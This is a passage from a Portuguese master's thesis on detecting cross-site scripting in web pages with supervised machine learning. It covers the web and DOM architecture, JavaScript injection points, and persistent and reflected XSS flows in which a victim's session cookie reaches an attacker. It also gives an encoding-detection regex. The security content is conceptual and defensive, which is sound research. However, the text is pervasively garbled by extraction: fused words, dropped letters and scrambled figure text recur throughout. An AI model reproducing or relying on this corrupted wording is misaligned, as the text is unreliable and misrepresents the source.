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“Nem tudo que se enfrenta pode ser modificado, mada
pode ser modificado até que seja enfrentado”.

Albert Einsten



Resumo

As aplicacdesweb atualmente representam um importante ambiente cdesa aos servicos
oferecidos na Internet. Garantir a seguranca des®essos se tornou uma tarefa elementar. A
estrutura desites dindmicos constituida por um conjunto de objetais comotags de HTML,
funcbes descript, hiperlinks e recursos avancados em navegadaveb levou a inumeras
funcionalidades e a interatividade de servicos t@mimo ecommerce Internet banking redes
sociais,blogs foruns, entre outros. No entanto, esses recuésnsaumentado potencialmente os
riscos de seguranca e os ataques resultantesegd@anjle coédigos maliciosos, ond€mss-Site
Scripting aparece em destaque, no topo das listas das s@preacas para aplicacdesb nos
ultimos anos. Este trabalho apresenta um métodzatiasem técnicas de aprendizagem de maquina
supervisionada para detectar XSS em pagmelg a partir de um conjunto de caracteristicas
extraidas da URL e do documemteh capazes de discriminar padrdes de ataques X&dregdir
paginasvebmaliciosas das paginagbnormais ou benignas.

Palavras-chave:cross-site scripting; seguranca de aplicacbesely deteccdo de anomalia,

aprendizagem de maquina.
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Abstract

Web applications are currently an important enviment for access to services available on the
Internet. However, the security assurance of tlieseurces has become an elementary task. The
structure of dynamic websites composed by afsebjects such as HTML tags, script functions,
hyperlinks and advanced features in web browsegspraide numerous resources and interactive
services, for instance e-commerce, Internet banksogial networking, blogs, forums, among
others. On the other hand, these features helpattitease the potential security risks and attacks,
which are the results of malicious codes injectibnthis context, Cross-Site Scripting (XSS) is
highlighted at the top of the lists of the great#stats to web applications in recent years. This
work presents a method based on supervised mataneng techniques to detect XSS in web
pages. A set of features extracted from URL costeamtd web document are employed in order to

discriminate XSS patterns and to successfullystiaboth malicious and non-malicious pages.

Keywords: cross-site scripting; web applicationuség; anomaly detection, machine learning.
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Capitulo 1

Introducao

A web é um ambiente multimidia onde sdo disponibilizaitddsneros servigcos e informacdes por
meio de paginas virtuais, tornando-se um dos nmitantes recursos usados nas relacoes

comerciais e empresariais nos ultimos anos.

As transacgfes de comeércio eletrbnicegeamercge atividades de prestagcédo de servico pela
Internet mudaram radicalmente a estratégia de aegayr que precisou ser ampliada e adequada as
aplicacdesveh A popularizacéo desses servi¢os, pautada noaisecdologiasvebe tendo como
principal ferramenta, o navegadeeh passou a ser alvo frequente de diversos agenéeteqtam
explorar recursos computacionais de forma néo iaatta, visando capturar sessdes de usuarios,
dados pessoais, numeros de cartbes de créditaasséodins e outras informacdes sensiveis ou
criticas. A demanda cada vez maior por novos resypara essas aplicacdes, a fim de prover mais
servicos e funcionalidades para seus usuarios, gueun um crescimento desordenado e o
desalinhamento das politicas de seguranca entriel@@s e clientes, aumentando assim 0s riscos

de segurancga.

Dessa forma, os desenvolvedores de aplicap@spassarama ter um papel crucial no
grande desafio de proporcionaoftwares funcionais e seguros. Nesse contexto, surge um
guestionamento: as técnicas de seguranca aplieedasoftwaresdesenvolvidos para web séo

adequadas ao escopo de cada projeto e suficieareap atuais ameacgas?

Certamente, essa resposta € relativa e esta rddeica uma série de fatores, como por
exemplo, as metodologias e técnicas de segurangmegatas por cada equipe no ciclo de
desenvolvimento desoftware ndo havendo dessa maneira, como garantir, deafgemnal, a

uniformidade de sua aplicagéo e a sua qualidadgeanca.

Diante disso, uma seérie de procedimentos adiciordds seguranca precisam ser
implementados em diversos pontos de controle daitatgra cliente-servidor. Para garantir a
protecdo no lado servidor, comumente sé&o implastaténtre outras solucdes, rotinas de validacéo

e filtragens de requisi¢cdes e autenticacdo patarewviexecucdo de cédigos maliciosos. Entretanto,
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essas solucbes sdo pontuais e dependentes dastimfai@ de seguranca existente em cada
servidor. Dessa forma, a seguranca no lado clisatapresenta sensivel ao nivel de seguranca
aplicado em servidores e aplicac@esb que integram uma grande rede de servicos atuadment
disponibilizada na Internet, necessitando tambémeldidas de protecdo complementares [Kirda et
al., 2006].

Apesar das inUmeras técnicas e metodologias disgieniainda hoje, o ponto central das
vulnerabilidades de seguranca em aplicagdsscontinua sendo a auséncia ou falha na validacéo e
interpretacdo dos dados de entrada. A maior paddinguagens de programagéiebnao fornece,
por padrdo, uma passagem de dados segura parnteckonforme destacam Wasserman & Su
[2008]. A falta desse procedimento pode viabilizar dos ataques mais frequentes em aplicacdes
wel a injecao de cédigos maliciosos Gross-Site ScriptingXSS) [Grossman, 2007]. Esta técnica
explora as vulnerabilidades encontradas em campdextb em paginaseb que ndo procedem a
validacdo de entrada do usuario. Essa falha pemmitgecdo de coédigo malicioso, que pode ser
interpretado e executado a partir das pagwels nos navegadores dos usuarios que a acessam,
permitindo assim, executar uma a¢ao maliciosa nuexnte de seguranca de ousite

Pesquisas recentes indicam que XSS se mantém mo dag listas das maiores
vulnerabilidades em aplicaco®geb nos ultimos anos, conforme as estatisticas didalgaem
Christey et al. [2007]Web Application Security Statistics Proje2®07 [webappsec, 2007] e
Website Security Statistic Repfunthitehatsec, 2011]. Nesta ultima, o percentualiidiado para as
areas mais afetadas s&do: o setor de tecnologianidamacédo (77%), mercado varejo e
telecomunicacdes (75%), redes sociais (72%), edoc#69%) e o setor bancario (43%). As
vulnerabilidades de XSS sdo as que mais afetanme@mlbgiaswely como por exemplo, as
linguagens de marcacdo HTML &avaScript e APIs Application Programming Interfage
correspondendo a 64%. Recentemente, a OWASper( Web Application Security Project
[OWASP, 2010], uma comunidade que discute segurantcaplicacfesvely divulgou a lista dos
dez mais importantes riscos de seguranca em aplisateh Segundo métricas de risco, o ataque
XSS ocupa a segunda posicéo nessa lista.

Em decorréncia dessas estatisticas e da grandedadei de ataques XSS, diferentes
abordagens e técnicas para solucionar ou mitigaololema tém sido propostas nos ultimos anos.
Dentre elas, técnicas baseadas na analissritbgs e no uso de linguagens formais e autdmatos
[Wasserman & Su, 2008], politicas de mesma origem marcacdo de elementos da estrutura
estéatica do documenteeb[Nadji et al., 2009], [Gundy & Chen, 2009], implentacdo de funcdes
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de depuracao decripts[Jim et al., 2007], analise da estrutura est@idamamica dos elementos do

documentaoveb[Vogt et al., 2007] e solugbes baseadagpemy [Kirda et al., 2006]

Entretanto, apesar das contribuicdes desses toshahande parte dessas propostas depende
de estratégias complexas ou pouco praticas, comaxyemplo, a necessidade de alteracdo do
codigo fonte dos atuais navegadores ou aceitag@nosd de politicas ou regras de seguranca.
Além disso, conforme mencionado anteriormente,ablpma ainda figura no topo das principais
listas de vulnerabilidades, fato que motiva a pssgem busca de novas técnicas que possam

contribuir com solucdes de prevencéao, deteccampiencao de ataques XSS.

Este trabalho apresenta e avalia um método que egmpiecnicas supervisionadas de
aprendizagem de maquina, que tém como vantageneseolobrta de padrbes a partir de um
conjunto de fatos ou observagdes rotuladas, indozénmaquina a um processo de aprendizagem.
O meétodo apresenta foco especializado na detecg@adues XSS, permitindo uma exploracao
mais detalhada do problema e a analise de um donflm caracteristicas relevantes que sao
extraidas de exemplos obtidos de bases reais elménhte submetidos a métodos de aprendizagem
estaveis e amplamente usados em problemas defictas®, tais como daive BayesSVM e

Arvore de Decisao.

O método proposto é estruturado em etapas que ¢érmolpetivo viabilizar a extracdo de
conjuntos complementares de caracteristicas refesjanbtidas a partir do conteddo estético da
URL e do documento que compdem a pagvea Tais caracteristicas sao extraidas em duas fases:
a primeira realiza a extracdo de caracteristicascattigo ofuscado (codigo em formatos de
codificacdo ndo ASCIlI -American Standard Code for Information Interchangeomo, por
exemplo, a quantidade de caracteres “%” em numidm&decimais no formato (\%[0-9A-Fa-
fl{2}). A segunda extrai caracteristicas do conjune dados apds a sua decodificacdo. Em seguida,
os valores obtidos sdo armazenados em um vetoradesdque € submetido a métodos de

classificacao.

A estratégia parte do pressuposto de que o empnegico de diferentes codificacbes de
caracteres em vetores de ataque XSS reune um tomuyportante de caracteristicas e que ocultam
outros grupos, que podem ser identificados e ekisaapOs a sua decodificacdo. Estes grupos
podem ser usados para aumentar a capacidade ddéorpoelditivo na deteccédo de XSS, obtido com
0 uso de técnicas de aprendizagem de maquina, @presenta como um método com alta
capacidade de generalizacao e aprendizagem.



1.1 Motivacéao

Desde o advento da Internet e o aparecimento dogipps navegadores, 0s servigos oferecidos na
Internet vém se tornando cada vez mais popularasf@ma tradicional (em estabelecimentos
fisicos) de realizacdo de transacbes comerciaiszabas, utilizacdo de servicos oferecidos por
instituicbes privadas e governo e até mesmo oioglamento social entre as pessoas passou a ser
realizado neste ambiente digital. Em pouco tempdgiliaacdo desses servicor-line passou a ser
uma rotina para os usuarios domeésticos e corpogtRara tornar essa relacdo mais interativa e
funcional, as aplicagcbesebempregam, cada vez mais, recursos dinamicos geafusimular as
acoOes do cotidiano convencional de uma forma rdaisd agradavel para seus usuarios.

Para garantir todos esses recursos nas aplicagébse atender rapidamente a essas
demandas, muitas aplicacbes ndo recebem o tratmradajuado de seguranca em seu ciclo de
desenvolvimento dsoftwaree séo disponibilizadas ao usuario com uma sériaulherabilidades,
como por exemplo, a inexisténcia ou falha na vaidados dados de entrada do usuério, principal

falha explorada em ataques XSS.

Nesse ambiente de interacdo entre usuarios e gewigrecidos na Internet, pautado pelo uso
de aplicac6esebcomo principal interface, os ataques XSS aparew@sestatisticas com um papel
de destaque na exploracao dessas vulnerabilidegeesentando uma grande ameacga aos recursos

envolvidos nesse processo de comunicacao.

A deteccdo desse tipo de ataque € uma tarefa comppf®is 0 grande nuamero de
vulnerabilidades em aplicaco@geh a quantidade de codificacdes atualmente supartpdibs
navegadores e os diversos esquemas e recursosiaiadnvolvenddags HTML e scripts em
associagfes potencialmente inseguras, facilitasoala diversos artificios e técnicas por atacantes,
gue criam constantemente formas reativas as saudeseguranca implementadas, burlando de

forma determinante a eficacia de muitas técnicatetccao convencionais.

A area de deteccdo de anomalias, com o empregécdieds de aprendizagem de maquina,
tem se apresentado promissora em diversos dondeiaplicacfes onde as técnicas convencionais
nao produzem resultados desejados, inclusive eneatelveb[Chandola et al., 2009]. A busca por
padrées em dados que nao estdo em conformidadsu@expectativa normal de comportamento é
considerada adequada para esse tipo de problemsampemo problemas complexos como XSS
possuem caracteristicas comuns que podem sermtdevzara sua analise e detecgao.

Ao empregar essa abordagem, € possivel, por exeapicar seus resultados em sistemas de
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deteccao, pois se um classificador pode dete@guas XSS com sucesso, 0 mesmo podera, entao,
simplificar ou ser empregado no desenvolvimentopdeiticas, filtros, sistemas de deteccdo de

intrusédo (IDS)webproxyouadd-onsem navegadores.
1.2 Justificativa

Inimeras abordagens tém sido propostas desde ecapanto dos primeiros ataques XSS. Isso
revela a complexidade do problema e a busca exaus® pesquisadores por uma solucao

considerada adequada.

Um estudo realizado por Saha [2009], apresent@aswtado da avaliacdo de 10 importantes
trabalhos propostos na literatura para detemtass-site scriptingEsse estudo demonstra que a
maior parte das metodologias propostas possui ltaipacidade para resolver ou detectar ataques
XSS e apresentam altas taxas de falso alarme. ddé&ses problemas, muitas propostas apresentam
limitacBes praticas, por dependerem de forte adex&s politicas de mesma origem entre clientes
e servidores ou de alterac¢des significativas nigodidnte dos atuais navegadovesh

Com o objetivo de propor formas alternativas nagagfio de ataques XSS, alguns trabalhos
empregam técnicas de aprendizagem de maquinaéuougido usadas com efetividade em diversos
dominios de aplicacbes [Chandola et al., 2009] oowlgas técnicas ndo sdo efetivas ou em
problemas em que ndo é possivel encontrar solu@tas, como por exemplo, em ataques XSS.
Os recentes resultados obtidos por Likarish €f2809], Rieck et al[2010] e Choi et al. [2011],
com a utilizacdo de técnicas de aprendizagem deuim@em aplicacbesveb demonstram o

potencial dessas técnicas para deteccdo de atgdaadliciosas naeh

Entretanto, um ponto a considerar nesses traballzogariabilidade de ameacas, pois muitas
propostas envolvem abordagens gerais de detecdaposamnaweh A OWASP [2010] categoriza
varias ameacas em virtude do risco, tais como, X3 Injection, Buffer Overflowy LDAP
(Lightweight Directory Access Protocol) Injectiddrive-by-download entre outras. Isso revela que
as abordagens gerais precisam lidar com um alto deacomplexidade, pois tratam de varias
ameacas concomitantemente. Para contornar esserpeole obter melhores resultados, este
trabalho trata especificamente da deteccdo de ega¥8S, o que permite investigar e explorar
melhor o problema, empregando conjuntos de treintoneais representativos, que contribuem

com a aprendizagem, maior acuracia e generalidadesdltado.

Apesar dos esforgos e contribuicbes das abordagmentemente propostas, XSS ainda

permanece como uma das principais ameacas no tmrdex seguranca das aplicacdesh
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indicando a existéncia de um amplo campo de pesgjmissta area e uma excelente oportunidade
para aplicacdo de técnicas de aprendizagem de n@anaideteccdo especializada de ataques XSS,
a fim de obter melhores resultados no processetecko.

1.3 Objetivos do Trabalho

O objetivo deste trabalho € desenvolver e avalimameétodo capaz de detectar XSS em pagireds
com base na extracdo de caracteristicas relevdotesntetudo estatico do documemteb e da
URL, utilizando técnicas de aprendizagem de magqispecificamente, sdo avaliados os métodos
de classificacd®aive BayesSVM (Support Vector Maching® Arvore de Deciséo, selecionados
em virtude do amplo uso em problemas de classéiwaen deteccdo de anomalias [Chandola et al.,
2009].

Os objetivos especificos deste trabalho sdo desaiseguir:
1. Desenvolver uma estratégia para deteccao de XS&gmasveh

2. Definir um conjunto de caracteristicas relevantgsazes de discriminar padrdes de ataques
XSS em paginaweb;

3. Avaliar e selecionar um classificador mais adequzda o processo de deteccao de XSS em
paginasveh

4. Avaliar os resultados alcancados pelo método ptop@em trabalho da literatura
referenciada.

1.4 Contribuicdes

A partir do desenvolvimento dos objetivos definideste trabalho foi possivel realizar as seguintes

contribuicdes:

1. Apresentar um método para detectar XSS em pagieds com base em técnicas de

aprendizagem de méaquina, que permite inferir orejfizado de padrdes XSS.

2. Definir e analisar um conjunto de caracteristiGgszazes de discriminar padrdes de ataques
XSS em paginagebque possam ser adicionadas em politicas, regtess bu sistemas de
deteccdo ou, ainda, serem aplicadas como solucamlementar a outras técnicas

atualmente usadas;
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3. Apresentar uma analise comparativa entre os mételatassificacadlaiveBayes SVM e

Arvore de Decisdo, a fim de demonstrar o desempegehal na classificacdo de XSS em

paginasveh

4. Disponibilizar a base de dados utilizada para eggpem futuros trabalhos de pesquisa na

area de aprendizagem de maquina.

A seguir, sdo descritas todas as producdes ctadifieferentes aos resultados obtidos na

pesquisa durante o mestrado.

Nunan, A. E., Souto, E., M. Dos Santos, E., FejtesdAutomatic Classification of Cross-
Site Scripting in Web Pages Using Document-based#RL-based Features”. 17th IEEE
Symposium on Computers and Communication (ISCC R0adppadocia, Turkey, julho,

2012. (aceito para publicacao)

Nunan, A. E., Souto, E., . M. Dos Santos, E., BaitcE. “Classificacdo Automatica de
Cross-Site  Scripting em Paginas Web”. XXX Simpéddrasileiro de Redes de
Computadores e Sistemas Distribuidos (SBRC 201&) @reto, Minas Gerais, abril, 2012.

Henke, M., Santos, C., Nunan, A. E., Souto, E., . Dbbs Santos, E., Feitosa, E.

“Aprendizagem de Maquina para Seguranca em Rede€ateputadores: Métodos e

Aplicagcbes”. Minicurso. Xl Simpdsio Brasileiro eneduranca da Informacdo e Sistemas
Computacionais (SBSeg 2011), pp. 53-103, Braddistyito Federal, novembro, 2011.

1.5 Organizacao do Documento

O restante desta dissertacéo esta organizado diateefprma:

O Capitulo 2 apresenta as informacdes basicass@tas ao entendimento deste trabalho.
Serao detalhados os conceitos relacionados a etugaitbasica davely o ataqueCross-Site
Scripting e as suas variagdes; conceitos sobre aprendizdgemaquina, bem como os
classificadores usados no processo de identificdedpaginasveb com scripts normais e

scriptsmaliciosos.

O Capitulo 3 apresenta uma visdo geral sobre algahalhos relacionados ao tema desta

dissertacao.

O Capitulo 4 descreve as etapas do método propasttalha os grupos e as caracteristicas

selecionadas e a sua caracterizacdo em exempiasstde vetores XSS.
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e O Capitulo 5 descreve o0s experimentos realizados ooconjunto de caracteristicas
selecionadas, a analise dos resultados dos expeosne a comparacao dos resultados

obtidos com a literatura.

» Por ultimo, o sexto Capitulo, apresenta a conclesdassiveis trabalhos futuros.



Capitulo 2

Conceitos Basicos

Este capitulo introduz os conceitos basicos nedessao entendimento deste trabalho. O capitulo
inicia com uma breve explanacdo sobre a arquitetuaa tecnologiasweb relacionadas ao escopo

do trabalho. Em seguida, é apresentada uma defipegé ataque XSS e suas variacdes. Por fim, a
terceira secdo define os conceitos sobre aprerafizatg maquina e descreve os classificadores

usados nos experimentos deste trabalho.

2.1 A Arquitetura Web

Um dos pontos basicos para entender o ataque de X8&hecer o ambiente em que o0 mesmo atua
e 0S seus principais vetores. Para isso, seraaidhefi brevemente os conceitos relacionados a
arquiteturawely composta por tecnologias basicas que, assocagasiodelo de Objetos de

Documento Document Object Model DOM), sdo manipuladas em ataques XSS.

A webpode ser definida como uma arquitetura baseadameito cliente-servidor composta
por softwares protocolos e convencgdes que tém por objetivoodigyizar servigos, informacdes e
documentos multimidia [W3C, 2010]. Os documentogssados nawveb sdo basicamente

desenvolvidos com base em trés tecnologias:

« HTML (Hiper Text Markup Languadetecnologia utilizada para realizar as marcacoes

necessérias a exibicédo planejada do docunveslbmo navegador do usuario;

* CSS (Cascadin Style Shegtdolha de estilo, utilizada para controlar a &para dos

dados a serem exibidos no documemntbhe;

» Scripts linguagem empregada para proporcionar contedudandco as paginaseh
onde se destaca a linguagdavaScript O script é executado por um interpretador (por
exemplo, um interpretaddavaScript)que interpreta e executa o cddigo no navegador do

usuario.

Tais tecnologias, aliadas ao DOM, estabelecem eeittnde HTML dinamico ynamic

HTML — DHTML), que permite modificar uma pagineeb dinamicamente no préprio navegador
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do cliente [W3C, 2010].

Segundo Wasserman & Su [2008], a arquitetura elieebdo navegador basico é composta

pelos seguintes niveis ou camadas:

» Gerenciador de Conteudo:é o gerenciador que trata dewnloads cachee protocolos

tratados pela aplicacéo.

» Interpretador HTML (HTML Parsel: é o analisador que interpreta o codigo e envia
tokenspara o gerenciador do DOM, que entre outras tgrefanstroi a arvore DOM e

invoca o interpretadatavaScript

» Gerenciador do DOM: gerencia 0 acesso aos elementos do documetid®’ermite que

programas oscriptsacessem e atualizem o conteudo, estruturas esedéildocumentos €;

s

* Interpretador JavaScript € o JavaScript Engine ou interpretadorJavaScript que

interpreta e executa o cédigavaScript

A arquitetura basica de um cliemtebpode ser vista na Figura 2.1.

e A
( Gerenciador de Conteudo ]
v
[ Analisador HTML J
v

( Gerenciador do DOM
[ Interpretador JavaScript )
\ J

Figura 2.1. Arquitetura bésica do cliente  web [Wasserman & Su, 2008].

2.1.1 DOM Document Object Modél

O DOM é uma interface multi-plataforma estruturadands e em uma arvore que representa como
as marcagcbes HTML, XHTMLHExtensibleHTML) e XML (Extensible Markup Language&&o
organizadas e interpretadas pelo navegador. Essasgies sao representadas por elementos que
podem ser manipulados via APAfplication Programming Interfagepara alterar conteudo,
estrutura ou folha de estilo, ou seja, por meiantierface DOM programas scripts acessam e

atualizam dinamicamente o conteudo, a estrutustilesede documentos [W3C, 2010].

A paginawebé exibida dentro de uma janela do navegador, mege denominadd/indow
gue esta no topo da estrutura DOM. Outro objettodo da estrutura é[@ocumentque representa

o0 documento HTML, XML ou SVGScalable Vector Graphiggjue sera carregado em uma janela e
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gue mantém o contetudo da pagimeh Os objetos possuem elementos e propriedadesague s
manipulados por meio do DOM. Existem versdes difi® para a estrutura DOM. Entretanto, o
DOM W3C é o padronizado pelo W3C [2010], e é swumwtpor quase todos os navegadores
modernos. O DOM possui uma base para todos os en@sial estrutura, que sao distribuidos em

categorias, conforme pode ser observado na Figra 2

window
SSEI,EEW”:L" ::: document arr;Tg;T:fH dow location history navigator
Window ob jects document object objacts Location object History object Navigator object
all[ ] forms[ ] elements][ ] plugins[] mimeTypes[]
array of All array of Form array of form array of Plugin array of
objects obyjects element objects objects Mime Type
Button
- Checkbox
applets[ ] images[ ] File
array of Applet array of Image Hidden
objects objects Pazsword
Radio
Reset i
embeds][ ] links[] et options{]
) elecl === ===="="1 array of Option
array of array of Link Submit obiects
embedded objects Text )/
Textarea
anchors[ ] layers[ ]
array of Anchor array of Layer
objects objects

Figura 2.2. DOM ( Document Object Model) [W3C, 2010].

Dentre essas categorias, as mais relevantes neriagiio de codigo no navegador sdo os
nés de documentos, elementos e texto [W3C, 2010].

* Document é 0 n6 mais importante do DOM e possui trés elastiferentesDocument
usado de base para todos os documentos XMMLDocument, para documentos HTML
e SVGDocument responsavel pelos documentos S\Bgalable Vector Graphigsusados

para definir vetores graficos maely

» Elements sdo todas afgs presentes em arquivos HTML ou XML que se transéorm

em nos da arvore DOM, que podem ser manipuladuemretados pelo navegador e

» Text € o conteudo, do tipo texto, dos elementotaga O nod de texto também pode ser

manipulado viascript
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A Figura 2.3 ilustra graficamente a construcaome estrutura HTML DOM simplificada, a

partir de um pequeno trecho de cédigo HTML.

[~ ——— e— e— e———
<html> | Document
<head>
<tittle> HTML DOM </tittle> | |
</head> .| Root Element:
| <body> L ’ <html>
<a>clique aqui</a>
| <h1>HTML</h1> | |
</body>
I</htmi]> l I
[ Element: Element:
<head> <body>
]
I [ |
Element: Attribute: Element: Element:
<tittle> “href” <a> <h1>
[ [ [
Text: Text: Text:
“HTML DOM” “clique aqui” “HTML”

Figura 2.3. HTML DOM.
O DOM também serve de base para a Arvore de Reagén Render Treg[Garsiel, 2010],

gue o navegador exibe na tela. A estrutura dessacdé composta pelos mesmos objetos do DOM
e por objetos adicionais, tais como folha de es#lscript Qualquer alteracao da estrutura DOM,
gue pode ser realizada \8aript ou por acdes diretas do usuario, como por exerapibyalizacao

da péagina, faz com que a Arvore de Renderizacacdsstruida e todo o processo seja refeito.

Este processo permite ter uma visdo geral sobreococorre o0 processo de execucao
dindmica no navegador e entender o papel das begsacripts no processo de execucgédo de
conteudo dinamico, oferecendo flexibilidade neaéssa inclusdo, alteracdo ou exclusdo de

conteudos ou nés da estrutura DOM que serdo pamessexecutados e exibidos no navegador.

A partir do uso dessas tecnologias, observa-seidreagmente a exploragdo maliciosa desses
recursos, através de pontos de ataques no codigLHTSS e principalmente em linguagens

scripts sendo que a linguagelavaScriptapresenta-se como principal vetor.
2.1.2 A LinguagemJavaScript

As linguagensscripts tém estimulado o desenvolvimento de aplicag@eb mais dinamicas e
interativas. Uma delas, e talvez a mais usadamatié seja a linguagedavaScript Yue & Wang
[2009] destacam que 96,9% das pagwab mais populares do mundo fazem uscsdepts com
base na linguagendavaScript Isso denota a sua popularidade e importancia amexto de

tecnologiasweh o que a torna também um vetor em potencial p@&senhinacdo de codigo
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malicioso e ataques do tipo XSS

A sua flexibilidade permite embarcar funcdes emigadHTML para acessar e manipular os
elementos que compdem uma pagieb por meio da interface DOM. Ggriptsséo interpretados
pelo navegador, o qual aguarda por eventos ou acGe® o término de leitura de uma pagina, ou
por acbes do usuario, tais como o movimentanmoisesobre umlink ou oclick em um objeto,
como um bot&o. Oscriptspossibilitam incrementar a apresentacdo e inwdatie das aplicacbes
weh por permitir a deteccdo da agédo do usuario dadadpida, em virtude da execuc¢do local do

codigo no navegador do usuéario [Flanagan, 2006].

Uma instancialavaScriptpode ser identificada de varias formas, tais caentre um par de
marcagao script> </script>; em um eventoHventHandle), especificado com o valor de um
atributo HTML; por um método DOM; por fungdesal ( ); entre outros esquemas [Yue & Wang,
2009]. O Consorcio W3C [2010] estabelece variapa@agdes que permitem a execucdo de um
codigoscript, muitas vezes sem a necessidade do usagdescript> </script>. Por exemplo, tag
HTML <a> pode executar conteudo dindmico pelo ussoeado dos eventoenblur, onclick,
ondbilclick, onfocus, onkeydown, onkeypress, onkeyupmousedown, onmousemove, onmouseout,
onmouseovenu onNMmMouseupou seja, umdag <a> associada com o evemaclick pode, por

exemplo, executar uma acao quando um determiivddé clicado pelo usuario.

Como mencionado na introducao, tags HTML, fungbesscript e recursos avangados nos
navegadores tém aumentado as oportunidades deimégd@gamsakthi et al., 2008], propiciando
mais funcionalidades e interatividade nos servigfesecidos viaweh tais como eommerce
InternetBanking redes sociaidjlogs foruns, entre outros. Por outro lado, tambémrpmddizaram
as vulnerabilidades e ameacas de exploragdo nsadicfacilitando o acesso a banco de dados,
senhasgookies informacdes sigilosas, entre outros recursogasi{Grossman, 2007].

Para entender como essas ameacas ocorrem sendidadefh seguir os principais tipos de

ataques relacionados a injecdo de codigo mali@ospaginasveh

2.2 Cross-Site Scripting

Grossman [2007] define XSS como um vetor de atagusado poscripts maliciosos no lado
cliente ou servidor, onde os dados de entrada dariesndo sado adequadamente validados,
podendo permitir o roubo de informagBes confideacidequestro de sessfes do usuario,
comprometimento do navegadiiente e da integridade do sistema sob execuc&od{@oscript €

geralmente desenvolvido na linguagdavaScripte inserido na estrutura HTML, ou ainda, em
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Java ou VBScript As tecnologiasActive X, Flash ou qualquer outra suportada pelo navegador
também sdo empregadas como vetor [Webappsec, 2G1t063sman, 2007]. Cabe ressaltar, que este
trabalho tem como foco de pesquisa os vetores XS&ados na linguagelavaScript.

As primeiras vulnerabilidades do tipo XSS surgirlbgo apos a expansdo dEeb e o
aparecimento dos primeiros navegadores [Grossn@0V],2quando agentes mal intencionados
descobriram que a falta de validacdo dos dadostdeda do usuario viabilizavam a interpretacéo e
a execucdo de codigos maliciosos desenvolvidogamaScriptnos navegadores dos usuarios. A
partir disso, novas formas de exploracdo foramatestas e passaram a ser usadas, tendo como

alvo principal o usuario da aplicacao final [Mc@uwat al. 2009].

Nesse processo evolutivo, as aplicagdieb passaram a oferecer contedado dinamico, onde se
destaca 0 emprego da linguagéavaScript que passou a ser usada como o principal vetor em
ataques do tipo XSS. Isso ndo se deve somente @opuaridade, mas também pela sua insercao
em esquemas potencialmente perigosos, empregagsid TML, atributos e funcdescript[Yue &
Wang, 2009], como por exemplo, a geracdo de codegmutros dominios por meio do uso de
fungcbes comodocument.write( ) ou eval ( ), que executam cddigo passado por parametro,

configurando-se em uma acao potencialmente insegura
2.2.1 Tipos de Ataque<£ross-Site Scripting

Os ataques XSS sao categorizados em trés tiposobasiersistentes, Nao-Persistentes (também
conhecidos como Reflexivos) e os baseados na aoM (DOM-Based [Grossman, 2007],
[Klein, 2005]:

* XSS Persistenteé o tipo de ataque em que o cédigo maliciosay@aenado em recursos
persistentes (banco de dados, sistema de arquetm¥,de um servidor legitimo, porém
vulneravel a XSS ou em um servidor malicioso. Agapdesvebque permitem ao usuario
armazenar dados, tais como féruns de mensagendivros de visita éblogssao as mais
vulneraveis. A Figura 2.4 ilustra um ataque XSSsBtnte em que um atacante injeta o
codigo malicioso ou vetor XSS em uma mensagem & @snesma em um servico de
férum web (1), que ndo valida os dados de entrada do useadaonazena a mensagem
juntamente com o vetor XSS em um recurso permarsitarmazenamento (2). Outro
usuario (a vitima) acessa o férum (3) e recupemmeasagem postada pelo atacante,
armazenada no servidor que mantém o servico denfguntamente com o vetor XSS (4,
5), que é interpretado pelo navegadeeb (6) que pode executar uma série de acdes

maliciosas, como por exemplo, enviatankiede sessdo do usuario para o atacante (7), que
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acessa o forum com as credenciais do usuario (8)at@ques XSS Persistentes sao
considerados os mais perigosos [OWASP, 2008], paiem atingir muitos usuarios e em
pouco tempo, além de permitir 0 armazenamensxdptsmais complexos.

(8) Armazena

P m e m oo - (2) >

ey \&=)
Atec:.ante usa as credencl'als da mensagem do Férum
vitima para acessar o Forum

|
: Aplicagio Web (3 P (como )/esor XSS)
| (Férum Web) < (4)
Servidor Web Recupera Repositério
Vulneravel
P4 @—(1 )/ .
% Injeta vetor XSS
em uma mensagem e 409 s
Atacante posta no Férum Web '?eoll S, )
o,
N er, 3
I /CO/;, N4 /6) 6
! oy Jen,
' €%, %
| O cédigo malicioso podera produzir Ss) %,
I o envio de Informacdes criticas ) 11/9
: (Por exemplo: o cookie de sessé&o) . ﬁ »6
DR I @%
Navegador executa

o cédigo malicioso ~ Usudrio

Figura 2.4. Visdo de um ataque XSS Persistente.

» XSS Reflexivo ou Nao Persistentet o tipo de atague em que o codigo malicioso néo es
armazenado em nenhum tipo de recurso permanenseramor. Neste caso, 0 servidor
participa do ataque ao ecoar o codigo malicios@ pausuario em uma reposta a uma
requisicdo HTTP vélida, que é executado de forrfiexiega no navegador cliente. A Figura
2.5 ilustra um ataque XSS reflexivo em que o at&cenjeta o vetor XSS em ulimk com o
dominio de unsite legitimo e o insere no contetdo de uma# (1.1) a ser enviado como
SPAM ou o insere em uma pagimgeb (1.2) hospedada em um servidor malicioso ou
vulneravel a XSS. O ataque é viabilizado normale@oar meio da acdo do usuario, que ao
clicar nolink inserido no ewail (2.1) ou na paginaveb (2.2), faz a requisicdo da pagina
webdo servidor legitimo (3), que responde a requisidd TP (valida), por exemplo, com
uma mensagem de erro. O vetor XSS é refletido mesagem de erro do servidor (4), que
ao ser interpretado pelo navegador do usuario p@jle executar uma série de acodes
maliciosas, como por exemplo, enviarcookie de sessdo do usuario (vitima) para o
atacante (6), que pode acessar a aplicagdmcom as credenciais do usuario (7). Esses
links costumam ser enviados por SPAM, mensagens inseagAou ainda, podem estar
embutidos em uma pagingeb maliciosa ou infectada. Segundo a OWAS&DEn Web
Application Security Projet{OWASP, 2008], este € o tipo mais frequente dquse XSS.
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Aplicagcdao Web g

(7) Servidor Web
———————————— > Vulneravel
Atacante usa as

credenciais da vitima para '?eq
acessar a aplicagio web "/(9,;6
hag
'he,'
'Y,
/"eﬂbl ‘7@ /4/

&
&
@ ¢
>
o
3
s
&
§

(TR )
% "e[,ro @ *'S:S'
0, , 70 ¢ >
SPAM *ss./ ey —
Of Navegador executa o
>

&/ (1-1) " =4 2.4) . c6digo malicioso
" Injeta vetor XSS em um Link e R P I
% o insere em uma mensagem Clica em link % (5)

ou no contetido da Pag. Web (com o vetor XSS)

A

(2.2) >
Atacante

Servidor Web
Malicioso

[
[
|
Pag. Web Usuario [
[
[
O cédigo malicioso podera produzir o envio de Informagoes criticas (Por exemplo: o cookie de sessao) J|

Figura 2.5. Visdo de um ataque XSS Reflexivo.

XSS DOM-Based é o tipo de ataque em que fun¢c@ewascriptacessam e modificam
dinamicamente nds e objetos da estrutura DOM, mmlegferenciar, acessar ou modificar
